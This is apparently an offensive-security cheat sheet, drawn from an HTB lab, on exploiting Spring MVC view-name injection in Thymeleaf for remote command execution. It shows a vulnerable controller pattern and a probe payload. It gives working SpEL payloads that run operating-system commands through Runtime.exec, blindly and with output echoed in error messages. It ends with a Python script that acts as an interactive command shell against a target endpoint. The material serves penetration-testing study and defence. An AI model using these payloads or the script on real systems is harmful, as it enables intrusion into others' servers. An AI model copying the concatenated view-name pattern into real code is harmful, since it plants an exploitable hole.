Thymeleaf RCE
Thymeleaf Spring view-name injection to RCE
Tests and exploits attacker-controlled Spring MVC view names processed by Thymeleaf and Spring Expression Language.
Vulnerable source pattern
The Thymeleaf dependency identifies the template engine:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>Spring MVC is the part of Spring that maps an HTTP request to a Java controller method. A method inside an @Controller can return a string containing a logical view name: an identifier that the view resolver uses to select a template, rather than text sent directly as the response body.
The request flow is:
HTTP request
-> Spring MVC selects a controller method
-> the method returns a logical view name
-> the view resolver selects the matching Thymeleaf template
-> Thymeleaf renders that template into the HTTP responseConcatenating attacker-controlled input into the returned view name places that input inside the value processed by the view resolver:
@Controller
public class PageController {
@GetMapping("/")
public String index(@RequestParam(defaultValue = "en") String view) {
String viewName = view + "/index";
return viewName;
}
}The model is the collection of data supplied to a fixed template. Adding attacker-controlled text to the model normally keeps it on the data side of the template boundary. The vulnerable value above instead changes the template name itself.
@ResponseBody and @RestController change the meaning of a returned string: Spring sends it as response data instead of passing it to the view resolver. The view-name sink therefore requires an @Controller path that resolves the returned string as a view.
The technique requires controller input to reach a Thymeleaf fragment expression inside the view name and requires SpEL type access to remain available. It does not apply to every Thymeleaf rendering path or version.
Testing
__${7*7}__::.xExpected error
Error resolving template [49], template might not exist or might not be accessibleFor a controller that appends /index, the evaluation flow is:
request parameter -> __${7*7}__::.x
returned view name -> __${7*7}__::.x/index
preprocessed name -> 49::.x/index
resolved template -> 49The payload contains three separate Thymeleaf and Spring constructs:
__...__ -> preprocess the enclosed text before resolving the template name
${...} -> evaluate the enclosed Spring Expression Language expression
:: -> separate a template name from a requested template fragment__...__ marks Thymeleaf expression preprocessing, so ${7*7} is evaluated before the view resolver searches for a template. :: is the fragment separator supported in controller return values. The fragment does not need to exist: the expression has already executed by the time template lookup fails.
Thymeleaf’s Spring integration evaluates ${...} through Spring Expression Language. SpEL’s T(...) operator accepts a fully qualified Java class name and returns the Class object representing that type. Static methods belonging to that class can then be called from the expression.
Blind command execution
__${T(java.lang.Runtime).getRuntime().exec('<COMMAND>')}__::.xT(java.lang.Runtime) obtains the Class object for Java’s Runtime type. Its static getRuntime() method returns the Runtime object associated with the running Java process. exec() starts the operating-system command and returns a Process object representing that child process. The command has already started before Thymeleaf attempts to use the returned value as a template name, so a later template-resolution error does not prevent execution.
Runtime.exec(String) starts a process directly and does not interpret shell pipes, redirections, or variable expansion. Shell-dependent commands require an explicit shell invocation.
In-band command output
The command result passes through the following Java objects:
Runtime.exec()
-> Process
-> Process.getInputStream()
-> StreamUtils.copyToString(InputStream, Charset)
-> command output inserted into the template name__${T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Process).getMethod('getInputStream').invoke(T(java.lang.Runtime).getRuntime().exec('<COMMAND>')),T(java.nio.charset.Charset).defaultCharset())}__::.xRuntime.exec() returns an object whose public type is Process, but whose internal implementation may be a non-public class such as java.lang.ProcessImpl. SpEL can reject direct method access through that non-public implementation.
Java reflection provides an indirect call through the public class definition:
T(java.lang.Process) -> obtain the public Process Class object
.getMethod('getInputStream') -> obtain a Method object representing the public method
.invoke(<PROCESS_OBJECT>) -> call that method on the Process returned by Runtime.exec()Reflection is Java’s mechanism for inspecting classes and calling their methods through Class and Method objects while the program is running.
getInputStream() returns the process stdout stream. Spring’s StreamUtils.copyToString() reads the stream until it closes and decodes the bytes using Charset.defaultCharset(). The resulting string becomes the attempted template name and appears inside a detailed template-resolution error.
Expected error
Error resolving template [<COMMAND_OUTPUT>], template might not exist or might not be accessibleThis in-band form requires Spring’s StreamUtils class and an error response that exposes the failed template name. The blind command-execution form remains usable when the error detail is hidden.
Automation
import requests
start_marker = "Error resolving template ["
end_marker = "],"
def send_ssti(s, command):
payload = f'''__${{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Process).getMethod('getInputStream').invoke(T(java.lang.Runtime).getRuntime().exec('{command}')),T(java.nio.charset.Charset).defaultCharset())}}__::.x'''
params = {
"<PARAMETER>": payload
}
headers = {
"Accept": "text/html"
}
r = s.get(url=f"{URL}/<ENDPOINT>", params=params, verify=False, proxies=PROXIES, headers=headers, timeout=10)
response_text = r.text
return response_text
def parse_response(response_text):
before_output, start_found, after_start = response_text.partition(start_marker)
command_output, end_found, after_output = after_start.partition(end_marker)
parsed_output = command_output.strip()
return parsed_output
if __name__ == "__main__":
s = requests.Session()
try:
while True:
command = input("> ").strip()
response_text = send_ssti(s, command)
command_output = parse_response(response_text)
print(command_output)
except KeyboardInterrupt:
print("[-] Execution stopped.")Find by: ssti, thymeleaf, spring, spring boot, spring mvc, view name injection, controller return value, template name, fragment expression, fragment selector, double underscore, expression preprocessing, spring expression language, spel, type operator, java runtime, process, processimpl, getinputstream, reflection, getmethod, invoke, streamutils, copytostring, charset, command execution, in band output, template error · Source: HTB/BreathtakingView + Thymeleaf documentation + Spring Framework documentation